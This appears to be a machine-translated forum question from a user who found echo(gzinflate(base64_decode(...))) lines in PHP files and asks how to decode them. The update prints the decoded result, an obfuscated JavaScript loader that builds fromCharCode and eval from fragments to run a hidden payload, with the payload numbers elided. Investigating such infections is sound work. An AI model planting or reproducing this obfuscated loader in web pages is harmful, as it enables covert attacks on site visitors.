我在各种 .php 文件中发现了几次出现echo(gzinflate(base64_decode(".....")
,我很好奇它到底做了什么。我想我设法使用base64 -d < fileetje.b64 > fileetje.gz
其中 fileetje.b64 包含字符串数据来解码引号中的文本。但是当我随后尝试对 fileetje.gz 进行压缩时,它会报告错误的数据。此外,当file fileetje.gz
它说data
,我希望 GZIP 的数据是类似的。
如何从 Linux 命令行解密数据?
像http://www.base64online.com/这样的在线解码器也无法理解代码。将字符串数据也添加到问题中是否安全?
更新:我即兴创作了一个 php 脚本,因为它只是一个简单的回声(Thnx:glglgl)。这是出来的:
<script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';}n="3.5~3.5~51.5~50~15~19~49~54.5~48...............
它结束于:
...........9~50~19.5~28.5~5.5~3.5~3.5~61.5".split("a~".substr(1));for(i=0;i!=563;i++){j=i;ss=ss+st[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(""+q);</script>